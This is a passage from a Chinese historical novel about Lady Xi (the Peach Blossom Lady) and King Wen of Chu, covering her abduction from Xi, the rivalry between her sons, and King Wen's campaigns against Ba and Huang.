为首者说道:“我乃虢国上卿史嚚(yín银),那晋侯不顾同宗之亲,将敝国灭矣!”
大家一惊。齐桓公问道:“晋侯为何要灭虢国?”
“晋人无由来伐,寡君不备,遂由所灭。那晋人乃虎狼之师,班师途中,又将虞国灭也。”
管仲叹道:“昔东虢为郑所灭,今西虢为晋所灭,虢国亡也!”
原来,虢国分为二囯:东虢和西虢。东虢在今河南荧阳市,一百多年前的公元前767年为郑武公所灭。西虢在上阳,即今天黄河南岸的河南省三门峡市。
虢国也是姬姓,是周武王为两个弟弟所封之国。虢叔封在东虢,虢仲封于西虢。西虢国君长期担任王朝卿士,这样的上国豪门也敢灭,齐桓公感到晋人太嚣张了!说道:“无道之国,必伐之!”
可是,齐桓公纵有三头六臂,也不可能全力伐晋。今楚人势起,郑人背盟,太子储位岌岌可危,烦心的事一件接一件,他怎么管得过来?更何况,晋人的势力非同寻常,他又岂可贸然出兵?
第19章 旧情新爱都是痛 前尘往事皆为愁
题记:女人心,海底针。荒诞无礼的婚姻,必酿可怕的恶果,
只有痛苦的母亲才有预感。但,又岂能言告于人?
寒冷的北风掠过桃花坞,桃叶凋零,桑叶在寒风中瑟瑟发抖。桃花夫人打开大门,从紫金宫中出来,全身一阵寒颤!见她犹豫不前,侍女柳儿说道:“天气寒冷,恐有大雪,太后不必再去!”
“且将鹅绒披风拿来!”桃花夫人说道。
柳儿转身进殿,急急拿着一件白色鹅绒的披风出来,为她披上,两人步入曲廊,向桃花洞走去。
曲廊和溪流是当年楚文王修建桃花坞时,专为连接紫金宫和桃花洞而建。曲廊上有瓦盖木顶,木顶之下,两边都有窗棂画格,画格雕龙凿凤,髹漆绘彩。秀丽而雅致。下面两侧有护边的漆木长櫈,既可防止行者跌下曲廊边的溪流中,还可在木櫈上坐下休息。
两人急步向前,走了大约千米,只觉风越来越大,越来越冷,桃花夫人见风中的桑叶颤栗、摇晃,说道:“今年大雪来得太晚,桑树正发芽长叶,若天太冷,桑叶必定冻坏!速叫人用油麻布盖上桑树!”
柳儿说道:“桃花坞男人少,桑树太多,可派人告之蒍大夫,派两广卫士前来帮忙!”
桃花夫人点点头,对柳儿说道:“速办此事!”
柳儿立即出园去找蒍吕臣,桃花夫人独自来到桃花洞。洞的第一层进身,是一个面积百米的大洞。这里原来是桃花洞内侍和卫士休息待命的地方,现在用作煮茧的厂房。外面寒气逼人,这里却热气腾腾!几口大锅里架在这里蒸煮,每锅有两人照看:一个看蚕茧在锅里蒸腾、翻滾。另一个则添柴烧火。待茧层中的丝胶煮得膨涨软化,便慢慢让火变小。桃花夫人走了过去看了看其中的一锅,用一只长瓢搅了搅锅里的蚕茧,见蚕茧已经煮熟,对看茧人说道:“瞧瞧,茧层已经煮软,丝胶膨涨,不应加火,须慢慢让火变小。”
烧火人见太后来查,慌乱中一下把火浇灭了!
“不可!须慢慢来,让外层丝胶稍稍凝固,保护茧层。切记,火须慢慢减弱,待后还须用温水再泡片刻!”太后温柔地说道。
“此等粗活,还须太后操心!”这时,一名女工头走过来,喝斥那个年轻的烧火女工。
“依序操作,细心便无大错!”太后嘱咐道。
“谨遵太后垂训!”两位女工立即站起身来,恭敬地答道。
“蚕茧还有多少?”太后问工头。
“旧茧已快用完,新茧还未出来!”女工头答道。
“若桑叶冻烂,新茧恐难出也!”她的心还在牵挂桑树:“且跟我来!”
工头跟着太后进入桃花洞进身第二层,这里原是楚文王的会客厅,装饰华美。现在成为工头和总管办公的地方。太后对总管和几位工头说道:“天气骤冷,桑叶难受严寒,汝等带人速用油麻布将桑叶遮盖!若有前宫卫士前来相助,汝等指导卫士小心行事,勿将桑树压坏!”
“遵太后令!”大家说完就出去了。桃花夫人进入第三层,这是当年她与楚文王的寝宫,现在是硏究和实验织布的地方。这时,只见几位绣娘和工匠围在一架平纹织机旁,七嘴八舌正在讨论什么。她一进来便问道:“如何,此机能织出斜纹否?”
大家一见太后,竟然都不出声。她上前细看,平纹织机好象是变成了斜纹织机,可织出来的布却经纬紊乱,织孔大小不均,既不像斜纹,又失去了平纹的式样。她一屁股坐在旁边的竹椅上,说道:“那蔡夫人曾言,平纹改斜纹很容易,为何总是改不好!”
一位男工匠说道:“楚国织机与中原不尽相同,斜纹角度不好把握,还须再试!”
太后点点头,说道;“那起花绣绮何在?”
一名织女将蔡夫人送给她的斜纹起花绣绮拿过来,交到她的手中,说道:“太后宽心,我等定能绣出这等花纹!”
桃花夫人抚摸着那工整而秀丽的绣绮,点点头,说道:“我楚国织绣,虽颜色较多,然织纹单一,若能织出斜纹、绞纹,必然超过中原织绣!”
“我等必尽力为之!”大家一齐说道。
这时,柳儿带着两个侍女闯了进来,说道:“天降大雪,太后请速回宫,恐大雪封路!”
“太后安心回宫,我等必做出斜纹织绣!”工匠们也劝道。
桃花夫人想起桑树,立即起身,急急走了出来。出洞一看,只见天空大雪纷飞,狂风怒吼。卫士、工匠和织女们还在用麻布遮盖桑树。但风太大,有的将麻布盖上桑树,又被大风掀开。有的干脆把桑树包起来,将麻布的四角捆在树干上。可有的树太大,麻布太小,根本包不住。桃花夫人跑了过去,说道:“在桑树四边各打一根桩,将麻布四角扎在桩上!”
这时,一阵狂风吹来,将她的鹅绒披风从身上掀起,飞了起来。她倒抽了一口寒气,立即去抓披风。柳儿手快,抓住披风一角,迅即为她披上,对两名侍女说道:“天太冷,先扶太后回宫,我且留下,盖好桑树即回!”
桃花夫人也感到全身发冷,只好随着两位侍女回到紫金宫。
一进屋内,宫女们为她拍去身上的雪花,送来火盆,又端来姜汤。她坐到火盆边,接过姜汤刚要喝,突然打了一个喷嚏,右手一抖,滚烫的姜汤泼在手上。她痛得全身发抖,以左手抚托着右手,痛得用嘴直吹右手被烫的地方。一名侍女立即端来一盆冷水,说道:“太后,快用凉水泡泡!”
此时,她的眼泪已涌入眼眶。怕侍女们看见,便低下头,在盆里机械地洗着手。洗着洗着,她突然感到全身渗入一股凉气,又打了一个喷嚏,只好把手收回,站起来说道:“寡人累了,先回内室休息片刻。”
“太后受寒,还须喝完姜汤。”那位端水的侍女说道。
她转过身,欣慰地向那侍女点了点头,喝下姜汤,进卧寝休息去了。
她刚躺下,觉得身上发热,似有汗水渗了出来。不久,她感到头有些昏眩,刚要睡着,只听外面人声鼎沸,有人吓得尖叫起来。她起身出来,见曲廊上有一个熟悉的身影向前奔跑。她仔细
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一看,惊愕地叫道:“艰儿——”
前面的人影立即停了下来,慢慢向她走近,伤心地哭道:“母亲——”
桃花夫人仔细一看,只见艰儿满脸是血,一双眼珠暴突出来,眼中血泪交流,淒惨而恐怖!“艰儿!艰儿!你如何这般模样?”
“是熊恽!是他将我害成这般模样!他抢走了我的王位!母亲,我要报仇!
桃花夫人一听,她伤心地说道:“艰儿,你兄弟相残还要到何时,他是你亲弟弟呀!”
“我要杀了他!我要夺回我的王位!”只见他双眼鼓成两个火红的血球,血水流个不止!突然,一个声音从身后传来:“昏君又来作恶!母亲让开,待我一槌将他砸死!”说话间,只见熊恽拿着一把流星锤,呲牙裂嘴地向熊艰扑了过去!
“恽儿住手!”桃花夫人只觉心中绞痛,喊道:“他是你亲哥哥啊,为何你兄弟不能相容?”
这时,只见熊恽那恐怖的双眼望了她一下,说道:“我不杀他,他必杀我!”说完,他高举那巨大的铁锤,猛地向熊艰的头上砸去——
“不可——”桃花夫人只觉肝胆俱裂,撕心地呼喊,猛地惊醒过来。柳儿和几名侍女也冲进卧寝,喊道:“太后,太后——”
桃花夫人睁开眼,从床上坐了起来,看着空荡荡的寝殿,滚烫的热泪不停地流淌!半晌,她撕心裂肺地喊道:“我的艰儿啊——”
“太后又梦见堵敖了!”柳儿说道。
太后低着头不说话,眼泪还在汩汩地流淌。柳儿知道她伤心,端来一碗莲子粥,说道;“太后一天未进食,先将就吃一点。”
太后摇摇头,说道:“尔等先出去,让我一人静静。”
众侍女缓缓退下。她独坐床头,望着独守了十多年的空房,心中的寂寞和痛苦,无以排解!丈夫的身影,仿佛越来越远,越来越淡,只有窗下那把五弦琴,还仿佛保留着那段美好的岁月。过去,在最痛苦寂寞的时候,她总要抚琴弹奏。而今,那熟悉动人的琴声,仿佛在岁月的长空中消失了。她有多久没有弹琴了?往事不堪再想,可是,那过去的一切,总是钻进她的心里,或者,不停地浮现在梦中……
公元前684年,楚文王灭息国,把息妫掳入楚宫。
他将息妫安置在后宫正殿之中,让自己的侍女柳儿带着一大帮宫女侍奉。一切设施用度全是王后的规格。待安置完毕,便兴冲冲地进入寝殿。
可是那息妫还坐在床头流泪。他立即上前,轻声抚慰道:“美人无须伤悲,不谷将封汝为后,统驭后宫,母仪万民!”
谁知柔弱的息妫猛然站起,挥手对他就是一记耳光!说道:“汝灭人之国,夺人之妻,乃虎狼也!我宁死不从!”
熊赀只觉眼冒金星,脑中轰然作响,惊愕地望了她一眼,转身甩手而去!
息妫立即从床上抽出一把剪刀,对准自己的前胸猛然下刺,被柳儿拉住,她一把将剪刀夺走,说道:“夫人不可!大王珍爱夫人,无有复加。若夫人有失,我等皆不能活也!”
第20章 风华绝代息夫人
众宫女也一齐说道:“夫人珍重!”
息妫泪眼婆娑,伤悲地说道:“素闻楚为蛮夷,不意蛮横如此!息侯何辜?为何抢**室?”
“抢亲乃楚人习俗,抢亲之人人更亲,夫人不必伤悲!”
“既抢亲为习俗,为何还要灭人国家?”息妫根本不买帐。
“大王本无意灭息,只为息侯自请讨伐,此乃咎由自取耳。”柳儿有些尖刻地说道。
息妫也曾听说丈夫派人请楚国攻打息国,诱使蔡国来救。致使楚国伏军将蔡军全部歼灭,蔡侯被擒,一囚九年,回国不久就**。蔡侯活该,但丈夫也有罪啊!但仔细一想,丈夫这样做,还不是为自己报仇?
“息因我灭,我何独存?”息妫开始责怪自己。
“夫人何须自责?息国今为楚之县邑,不复为他国所侮,此乃万民之幸也。”
众侍女苦苦规劝,息妫虽然放弃轻生之念,但心结难解。一连三天三晚,不吃不喝。到第三天日落之后,在柳儿的苦劝之下,喝了一碗稀粥,便走出寝殿,来到后宫正堂,倚窗而坐。见窗外天高月远,夜色朦胧,愁思又起,不禁潸然泪下。低头一看,座前摆着一把五弦琴,那是保申师傅留给熊赀的。息妫随手一拨,琴弦颤动,音韵撩人,她情不自禁,抚琴吟唱起来:
耿耿银汉,迢迢星河,
故国北望无寻处。
云水声动,玉壸光转,
千里囚虜有谁思?
念去去,星辉残照,
一绺浮萍从此逝。
…….
熊赀好奇地循声而来,见是息妫唱弹,她眼中泪水晶莹,歌中无限情思,让他怦然心动。她就是自己的梦中人啊,舍此而谁?她的忧伤,她对故国的怀念,更让他动情。他默默地凝望着这个倾国倾城的女人,迷恋如痴。那记凌厉的耳光,仿佛又是对他深情的抚摸。他情不自禁地悄然悄然走到她身边,正要说话,息妫立即起来,转身进入寝殿,根本不想理他!他惆怅难言,不禁坐到琴前,也深情地弹唱起来:
滾滾江汉,浩浩沧浪,
佳人一去音茫茫。
玉殿门空,绛绡帐寒。
悠悠经年谁与伴?
月华轮转,佳人又现,
弦歌一曲再生缘。
遙怜日月照孤影,
冷风吹彻梦中天!
优美的男声,婉约的情怀,息妫也听出他的心曲,并非凡俗之辈。这个荆楚蛮王,竟如此多情,她感到一丝心动,低下头来。柳儿见状,说道:“大王之心,惟向夫人以表!夫人何不从之?”
“吾已从息侯,岂可再嫁二夫?汝等休得再劝!”息妫咬着嘴唇说道。
柳儿不好再劝,出来对熊赀说道:“夫人思念息侯,仍不相从!”
熊赀已从歌声中听出她对息侯的怀念。想起自己对丹姬的思念之情,他缓缓站了起来,以手划琴,说道:“明日送夫人归息侯处!”说完转身就走了。
柳儿和众侍女都不敢相信,只当是他的气话。谁知第二天,斗谷於兔真的带着大王的玉辂前来后宫,接息妫前往汝水。
息妫一听,不管三七二十一,立即出宫上车。
车至城门,息妫拨簾四望,问子文道:“闻言息侯持戟守门,为何不见?”
子文笑道:“楚国所囚诸君,何曾有守门之辱?楚不为也!息侯并公族尽居汝水,夫人勿疑!”
车队南下急行,来到汝水之畔。子文在离息侯住处不远处停车,令柳儿带着息妫去见夫君。二人来到息侯住处,敲开屋门,息妫一眼就看到息侯!她不禁心潮激动,喊道:“夫君——”
息侯一见,喜出望外,喊道:“夫人——”便冲上前来,两人相拥而泣!
“夫君无恙乎?闻楚人让夫君为守城役夫,可有此事?”息妫关切地问道。
“未有也!楚王将公室之人南迁于此,未有为役夫者!夫人何以至此?楚王知否?”息侯迷惑地问道。
息妫点点头:“楚王见吾思君心切,令人送吾前来,与君一见!妾身誓不回宫也!”
息侯突然惶恐起来,说道:“汝不回宫,吾命休矣!”
“吾与汝同生共死,有何惧哉!”息妫坚定地说。
这时,息侯的两个妾室从内寝出来,其中一个说道:“汝既入楚宫,何由再来?息由汝灭,更要夫君惹杀身之祸乎?”
“此为红颜祸水,不祥之人,夫君不可留之!”另一个也趁机说道。
息妫惊愕难言,望着夫君。只见息侯脸色惊恐迟疑,他松开双手,后退两步,说道:“今息国已亡,若再惹祸端,公族不保矣!我与汝缘份已尽,汝可回也!”
息妫一听,热泪泉涌,说道:“夫君犹记昔日之情乎?”
息侯一听,立即冲上前来,又将她抱住,说道;“吾心何忍!爱姬勿走!”
这时,小妾中的一个冲了过来,一把将半掩的大门推开,说道:“夫君且看,楚王与卫队就在门外,楚王一怒,满族皆亡也!”
息侯走到门口,一见那金碧辉煌的楚王的辂车,吓得双腿发软,一下瘫倒在地上。
息妫见状,心如刀割,流着泪说道:“夫君何惧至此?楚王未至,卫队只为护妾前来也!”
“楚王恩宠如许,为何又送你前来?此必楚王诡计也!夫君小心提防!”
息侯低头坐在地上,如一堆烂泥,让息妫痛心绝望。柳儿也看不下去了,对息妫说道:“如此怯弱之人,夫人何恋之有!不如离去!”
息妫不禁再看夫君,见他仍不抬头,失声痛哭,喊道:“夫君——”
可是,经受过**之痛的息侯吓破了胆,那曾经高傲的头,再也抬不起来了!息妫伤心欲绝,不能自持,全身发软,被柳儿拖着走了出去。
熊赀闻报,立即前去途中迎回息妫。可息妫从此沉默不语,无论熊赀怎样呵护,劝慰,再也难出一言。
时间一天天过去,息妫总是双唇紧锁,默然流泪。这天,熊赀对
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她说道:“夫人音律娴熟,声韵动人,如此禁言自伤,乃负天之厚也!”
息妫念他一片诚心,禁不住说道:“吾一妇而事二夫,纵弗能死,又岂能欢颜笑谈?”
熊赀说道:“息侯乃贪生怕死之人,何劳夫人牵挂?前者,他遣使乞楚自伐,祸及蔡国;今又弃妻自保,苟且偷安!如此昏庸之君,怎堪护国?楚不灭息,必为他国所灭也!夫人何须太过伤悲!”
“乞楚自伐,乃为蔡侯无礼!大王灭息,亦为蔡侯挑唆!息侯无能,却也无过。”她还在为息侯辩护。
“夫人之言有理,息国之亡,罪在蔡侯!不谷必兴兵讨之,以报息人之仇!”见她低头不语,他温柔地说道:“闻夫人独爱桃花,今居所不适,不谷即下令建桃花坞,造紫金宫!以慰夫人之心!”
息妫从小对桃花情有独钟!听言眼前一亮,脸上露出一丝喜色。熊赀趁机将她揽入怀中,说道:“不谷以息宫珍器,置于紫金宫中,以慰夫人之念。中原珠宝,楚国珍奇,尽皆陈列其中!在桃花坞中建桃花溪,桃花溪畔建桃花洞,夫人于奇花秀水之中,可消前愁也!”
息妫感受到了一个强大男人的无限爱意,温柔地说道:“如此太过奢华,一桃花坞足矣!”
熊赀闻言大喜,立即意气风发,大声说道:“天下金玉珍奇,必归大楚王后!”
第二年春天,一座金碧辉煌的紫金宫耸立在郢都城西的荆山余脉之上。当桃花坞红花万朵,花香四溢的时节,熊赀携息妫进入坐落在桃花坞南侧的紫金宫中。她那秀美的脸上,红晕如桃花朵朵,艳丽明媚,风华绝代。楚人都称她桃花夫人。楚文王对他百依百顺,自此专宠一人。为讨夫人欢心,熊赀又在在青山绿水之中为她凿山雕石,建一桃花洞。桃花洞冬暖夏凉,陈设布局一如紫金宫。从紫金宫沿桃花溪到桃花洞,不过千米,一路流水潺潺,鸟语花香。那如云霞般的万千桃树,花飞香溢,缤纷多彩,仿佛人间天堂。
短短三年,息妫在这里为熊赀生下两个儿子。长子熊艰,次子熊恽。让熊赀更加高兴。便亲自出征,北伐蔡国。
公元前680年秋七月,楚文王以蔡侯参与北杏之盟,背楚投齐为由,亲率大军攻破蔡国国都上蔡城,逼迫姬肸(xī西)投降。
息妫为息侯报了仇,心中稍安,从此深居紫金宫中,相夫教子。可是,息侯在她心中挥之不去。息国的灭亡,让她的灵魂无法安宁!她深深感到了一个女人再嫁的难言之苦。深夜,她偶尔也听丈夫呼唤丹姬的名字,她不知道丈夫与丹姬的事,也不敢问。但她知道,丈夫的心中,也藏着另外一个女人。
更深的烦恼是,两个儿子仿佛就是天敌。熊艰是嫡长子,高傲而任性,总爱对弟弟呼来唤去。熊恽柔弱而不屈,经常反抗哥哥的无理要求。两人不停地争吵、打架。熊恽一次次失败,但却总是不服……(未完待续,下章更精彩)
第21章 楚文王之死
公元前676年,巴国袭击楚国,攻克了重镇那处。一场决战在所难免!文王决定亲自领军出战。这天,他正要到校场阅军。刚出门,两个儿子追了出来,吵着要跟着父亲去看练兵,儿子大了,桃花夫人拉不住,便跟着跑了出来,无可奈何地站在台阶上,听任丈夫处理。
“外敌来侵,尔等还小,等长大后,父王定然带尔等征战,且回宫去!”
可两个儿子不听,一个抱住他的左腿,一个抱住右腿,软磨硬泡。桃花夫人笑道:“男儿终要上疆场,且让二子见识战阵,亦无妨也!”
两个儿子,熊艰不满八岁,熊恽刚满六岁,长得一样高,对军队充满好奇。见母亲支持,更加抱住父亲的大腿不放。
正在这时,屈重来接文王,见此情景,大笑起来:“哈哈,两个跟屁虫,甩不掉了!”
老二熊恽一见,立即向屈重扑来,说道:“屈叔且领我去!”屈重将他抱起:“嗬,恽儿且壮且高,可纵马疆场也!”转身对文王说道:“二位王子,一如父王当年,在家呆不住了!”
熊艰见弟弟受宠,立即跑了过来。要把熊恽拉下来!屈重只好放下熊恽,将熊艰抱起,发现他比弟弟还轻,立即说道:“世子垂髫之年,正须军旅历练!去去无妨!”
文王立即想到自己少时的情景,无奈地说道:“且听屈叔安排!”兄弟俩一听,立即爬上屈重的战车。战车上还有一个车驾,一个带刀卫士,已容不下屈重。他只好登上另一辆战车,在前开路,两位王子紧随其后,熊赀跟在两个儿子的后面。三辆高大的战车带着庞大的车队,直奔校场。沿途市民第一次看见两位王子,一个个驻足观望,指指点点。
“王子还小,莫非也要出战?”
“大王带王子去校场!”
“两位王子一样高,谁是兄,谁是弟?”
熊艰一听,觉得大家认不出自己,立即爬到车辕前的横栏上,伸直腰杆,向市民挥手!市民一看,喊道:“世子威武!世子威武!”
此次阅兵,只为实战,文王不愿太多繁琐的礼节,故熊艰虽以太子身份陪同阅兵,也没有作特别安排。来到校场,只让兄弟俩坐在阅兵台上看着。屈重陪文王站在台前,看着上千名兵士列队训练,然后各列战阵,轮番从台前经过,一轮又一轮。两位王子看得倦了,熊艰开始东张西望。一转头,对弟弟说道:“山上可见园中瓜果,愿去否?”熊恽也觉得有点闷,高兴地点点头,两人一起溜下台,向阅兵台后的山上跑去。
跑上山坡,果然看见一片菜地,便好奇地走了过去。秋天的菜地里,各种青菜已长大、结果。两人同时看见一个又大又黄的甜瓜,立即停住了脚步。
“此瓜硕大,必然香甜!”熊恽的双眼放光。
“哈哈,我渴矣,摘来解渴!”世子以命令的囗气对弟弟说道。
“父王若知,定会责罚!”弟弟有些担忧。
“此时无人,谁会知晓?快摘下带走!”
熊恽也确实口渴了,上前摘下瓜,抱起就走。刚一走出菜地,就远远看见一老头,两人转身就跑。老头一面追一面喊:“抓贼!小贼偷瓜呀!”
负责保护二人的两名军士忽然发现台上不见了王子,便到场边的人群中寻找,也没找到,便上到山坡上来。听到喊声,立即冲上前来,将老人拦住:“何人偷瓜?”
老人指着熊恽,说道:“公子手中之瓜,为我园中所有!”
军士来到两人身边,问道:“此瓜从何而来?”
“野地所摘!”熊艰镇定地说道。
“此为野地之瓜!休得诬赖好人!”军士说着,带着两人就走。
“野地哪有甜瓜?偷瓜不认,公理何存?且叫人评评,谁能种出此等好瓜!”倔犟的老头不依不饶。
校场边的民众有人闻声走了过来,熊恽有些害怕,转身说道:“哥,把瓜给他?”说着,双手把瓜送到老人面前。
可熊艰冲过去,又一把抢了回来,说道:“此瓜为我所有,谁人敢拿?”
老人一下怔住了,呆了一下,突然叹道:“弟弟明理,哥不如弟也!”
那军士闻言过去将他猛推一把,说道:“老鬼,敢诬蔑世子,汝要命否?”
老人闻言,大吃-惊,睁大眼睛说道:“两位是王子?”
众围观百姓议论道:“莫非王子偷瓜?”
“不然!大楚王子,岂能做出此等下里巴人之事!”
“饥渴起盗心,人言王子蛮横无理,果然如此!”
这时,屈重远远看见山上好像出了什么事,立即赶了过来,弄清缘由后,从熊艰的手上拿起甜瓜,交给老人,转身问两人道:“为何与民争瓜?”
两人都不敢作声。屈重觉得对不住老人,转身又对老人说道:“王子年幼,冒犯尊老,屈重代为谢罪!以此金叶偿之!”说着掏出一片小金叶送给老人。老人力推不受,悔恨地说道:“老朽有眼无珠,不识两位王子!罪无赦也!此瓜送与两位王子,以表悔恨之心!”说着把瓜交给屈重。流着泪往回走去。
屈重追过去,把金叶都塞给了老头。
阅兵结束,文王追问两人发生了什么事,屈重只好轻描淡写地把事情简单讲了一遍。晚上一回紫金宫,文王就令两人跪在大堂,问道:“汝等知罪否?”
两人都吓得不敢回答,文王逼问老大:“为何窃百姓之瓜?”
熊艰答道:“是恽弟所为!”
熊恽一惊,脱囗说道:“是兄长令我摘瓜!”
“汝自窃瓜,为何赖我?”熊艰不承认是自己下的命令。
“住嘴!身为王子,竟然窃百姓之物!来人,每人扙责二十!”
两人一齐挨打,口中仍在较劲!
“是汝窃瓜,为何推我?”<
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br>“汝令我窃瓜,为何不认?”
……
“大王,那处宗伯阎敖来了!”这时,屈重闯了进来!
“为何深夜赶来!”楚文王奇怪地问道。
“巴军攻陷那处,阎敖只身逃来!”
那处,是湖北荆门的古称,位于楚国的西南面,为楚国战略要地!楚文王一听大怒,说道:“那处乃郢都屏障,阎敖丢失要塞,有何面目见我?走,且去看看!”
楚文王丢下两个儿子,带着屈重来到前宫大殿,对着正跪在殿门前的阎敖说道:“汝丢失那处,致巴人逼近郢都西门,还有何颜面来见我?”
黑暗中,阎敖哭道:“巴、楚素亲,不意巴人深夜突袭,致使那处失陷,特来报告大王!”
文王怒气更甚,说道:“若等你报告,郢都早被攻陷!无用之人,留之何用?来人,拉下去砍了!”
“大王饶命!大王饶命啊!”
任他怎样求饶,楚文王也不再理他,沉默片刻,对屈重说道:“巴人不顾昔日之情,反目为仇,寡人必出城亲征,以解心头之恨!”
“大王不必涉险,在下领兵出战即可!”
“不必多言,我必出战!”文王的口气不容置疑!
屈重觉得不妥,又无法说服他,便连夜去找国巫矞似。
第二天,矞似上朝,对文王说道:“楚巴素为友邻,今彼来袭,曲在巴人。巴君未至,大王亦不必亲征,可令屈敖引兵击之。楚巴之情,尚留一线,望大王细察。”
“如此反复无常之辈,留何情面?寡人必率兵征讨,以使巴人不敢东觑大楚!”
“今年天有日食,前有天子驾崩,今有巴人反目!天道不吉也!大王阅兵之时,竟有老农紧追二位王子不放,此皆不可理喻之凶象也!皆为流年不利,大王不可亲征也!”矞似坚持道。
文王哈哈一笑,说道:“国巫不必担忧!巴人孤军深入,已入绝境。寡人境内剿贼,何险之有?”
“今天下灾祸连连,楚囯异象频发,天道难测,不可不虑也!”屈重也着急地说道。
“既如此,国巫可占卜问神,以定吉凶。”文王无可奈何地说道。
矞似赶紧到宗庙占卜。众臣立于宗庙之外,矞似带着两名巫师进入庙内,点燃炉火,烧烤龟壳,不久烤出龟纹。三人一看,龟纹繁密而奇异,形似艮卦,所得爻辞是:“无咎,艮其限,危“熏心”也。”
艮(gèn亘)是八卦之一,止的意思。熏心,指焦心、揪心的意思。前面说无咎,后面又说被限止,危险使人揪心。面对这自相矛盾的爻辞,众臣都不能解释。文王一看,说道:“虽不算上卦,却也为中卦。既然无咎,小心便是!”
就在这时,快马急报:“巴人直扑郢都而来!”
文王一听,两眼冒火,把爻辞一扔,出宫亲点中军人马,前去迎敌。
第22章 楚文王之死(2)
楚国大军直冲巴军而去,巴军退至津地摆开战场,要与楚军决战。楚文王求之不得,一万多人的大楚中军,对付数千人的巴军,无论人数还是战力,楚国都明显占优。两军相遇,如电光石火一般,以强对强,以硬碰硬。楚军围住巴人奋力厮杀,不料巴人毫无惧色,顽强死战。战了几个时辰,仍不分胜负,楚文王对卫队统领斗丹说道:“擒贼先擒王!汝领二广将士杀入阵中,寻得贼首,聚而杀之,巴军必败!”
斗丹看了看屈重。屈重也认为这是一个好办法。本土作战,后方安稳,无须两广护卫,便点点头。
斗丹是楚国第一勇士,他率三千两广虎贲将士杀入战阵,战局立即扭转,巴人顶不住了!斗丹狂飙突进,找到敌首,将他斩落车下!巴军彻底崩溃,四散而逃,楚军杀性顿起,死命追杀而去。
正当楚文王和身边将士欢欣鼓舞之时,忽听身后喊声大作,杀声突起,一彪人马向着楚文王狂奔而来。
来者不是巴人,而是那处守将阎敖的族人和部下,加上迁往那处的各**公族之人。他们见文王杀了阎敖,便投降巴人,决心为阎敖报仇!那些**公族心怀灭国之恨,也联合反叛!可此时斗丹率两广卫士杀得不见踪影,文王身边的护卫不足百人。屈重忙令人急寻斗丹回援,又令一名叫申侯的申国降臣带一半军士护卫文王撤离,自己率领剩下的军士阻击敌军!
此时已近黄昏,屈重向前一看,薄雾中叛军足有上千人,他凭着高大的战车居高临下,挥戟**,叛军纷纷倒地,一时手足无措。战不多久,叛军见屈重人少,便将他四面围住,一齐放箭!四面的箭镞如蝗虫般直扑屈重,屈重的前胸后背,全被利箭射穿!大楚莫敖,此时已如刺猬一般,栽倒在战车之上。
这时,斗丹率两广将士赶了过来。见此情景,斗丹大叫一声,率军将敌包围,一阵疯狂斩杀,阎人十死七八,剩余的人跟着巴国残兵逃回清江盐城去了。
斗丹火速回头追赶文王,文王一见便急切地问:“莫敖何在?”
斗丹和众将士都低头不语。文王向后一看,只见屈重满身带箭,浑身是血,躺在自己高大的辂车上,双眼再也睁不开了!文王冲上去,抚摸着若敖的金盔,热泪泉涌,大声喊道:“若敖!若敖!汝不能走,大楚安得无若敖哉!”
斗丹过来劝道:“若敖忠肝义胆,孤身退敌,必光耀千秋!是死得其所也,大王不必伤悲!”
此战死于疆场的将士就达千人以上,伤者更是不计其数。文王见黑压压的戎车上,全部载满伤兵,便知死伤何等惨重!身体不禁摇晃起来。一直陪伴他的申侯赶紧扶住,仔细一看,说道:“大王伤矣!”
众人过来,发现文王右臂中箭,伤口渗血。忙令军医治疗,好在箭伤不深。文王无力地说道:“速回郢都!”
斗丹传令全军班师,赶到郢都西门,已是深夜。全军又累又饿,急欲进城。申侯叫道:“快开城门,大王归也!”
门卫闻声,急报鬻拳:“太伯,大王班师回郢,已至西门。”
鬻拳一惊,说道:“为何深夜班师,莫非战败?”说着登上城墙,举头一看城外,火把之下,上百辆戎车上全躺着受伤之人,军队偃旗息鼓,将士萎靡不振,便高声问道:“楚师素来白日凯旋,为何深夜班师?莫非战败?”
“汝快开门,大王伤矣!”申侯急不可耐!
“战败之师,不可进城!”鬻拳冷酷地说道。
“太伯开门,孤受箭伤,众负伤将士急需医治,全军饥寒交迫,开门再说!”文王也急了。
“大王受伤,有军医疗治;将士饥饿,有伙夫造饭。大王深夜逃回,我何颜开门?”
“太伯不可违抗大王之令!”斗丹也急了。
“将军若想进城,助大王再打胜仗,我必开门。”鬻拳说完,走下城墙睡觉去了。
上万名将士呆若木鸡,站在城外不知所措。近百年来,楚人败仗不多,但如果战败,元帅必如屈睱一样,自刎谢罪,将士也无脸回家。但这并非法律规定。鬻拳如此对待血战将士,让他们痛心疾首。文王痛苦地说:“太伯执拗,城门难开矣!”
“若然,如之奈何?”申侯问道。
“以太伯之意,非胜不能进城也!”斗丹茫然说道。
可是,黑夜茫茫,全军精疲力竭,去哪儿打胜仗呢。文王辗转徘徊,来到屈重的辂车前,说道:“莫敖生前久欲伐黄,昔先王举沈鹿之盟,黄不与会,伐黄亦为先王之愿!今全军东进,以全先王、莫敖之心!”
全军无可奈何,随即向东北而去。
黄国的祖先是黄帝轩辕氏,公元前2148年建国。少昊帝的后代、伯益的长子大廉为开国之君。早期称黄夷,是东夷集团的后代,已有一千四百多年的历史。建都于现河南东南部的潢川县,为嬴姓之国。
当年,楚武王举沈鹿之盟,这个曾称霸淮河流域的古囯,根本不把楚人放在眼里,拒不参盟。这些年来,随国降,息国灭,连强大的蔡囯也归附楚国,黄国仍无动于衷。楚军远涉九百里,赶到息县,稍作休整,便向黄国进军。
虽然息县与黄国相邻,但屈重不在了,文王不敢怠慢,仍带伤随军指挥,设帐于踖(què确)陵(今河南潢川县)郊外。这里蚊虫满天,蛇蝎遍地,饮水尽污,战事未开,就有将士腹泻,文王也觉肠胃不适。但他已顾不得这些,战前一切准备完毕,便率军向踖陵进军。
有了津之战的教训,此次文王布置更加周密。他以斗丹为先锋,左中右三路出击,直冲黄军阵地。将士们为雪前耻,更是人人当先。久疏战阵的黄军经不住楚军的三面冲击,阵形大乱!斗丹乘机杀入阵中,再次使用掏心战术,将敌将斩首。黄军立即溃退,楚军乘机追杀,直至黄国城边,将都城包围。
天色已晚,文王见黄军主力已经歼灭,便下令退后扎营,明日再攻取都城。可一进帐休息,他就腹痛不止,一夜腹泻数次。许多将士都是如此。
申侯陪文王折腾一夜,第二天,见他脸色蜡黄,消瘦不堪,便谏道:“黄国对楚不敬,亦无大恶。大王旧伤未愈,又添新疾,不宜在此逗留。乘此大胜,可班师回囯,来年再伐不迟。”
“申侯之言有理!将士们腹泻者益多,皆难治愈,须早日回囯为安!”斗丹也劝道。
此时的文王,已是头昏眼花,有气无力,便下令撤军。
